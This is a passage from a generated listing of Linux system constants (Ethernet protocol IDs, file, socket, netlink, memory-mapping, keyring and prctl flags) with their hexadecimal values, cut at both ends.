-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x4000
-- FFDLY = 0x4000
-- FLUSHO = 0x800000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0xd
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x4000
-- IBSHIFT = 0x10
-- ICANON = 0x100
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x400
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x80
-- ISTRIP = 0x20
-- IUCLC = 0x1000
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x400
-- IXON = 0x200
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x80
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x40
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x2000
-- MCL_FUTURE = 0x4000
-- MCL_ONFAULT = 0x8000
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NL2 = 0x200
-- NL3 = 0x300
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x300
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80000000
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x4
-- ONLCR = 0x2
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x20000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x1000
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x2000
-- PENDIN = 0x20000000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_SAO = 0x10
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
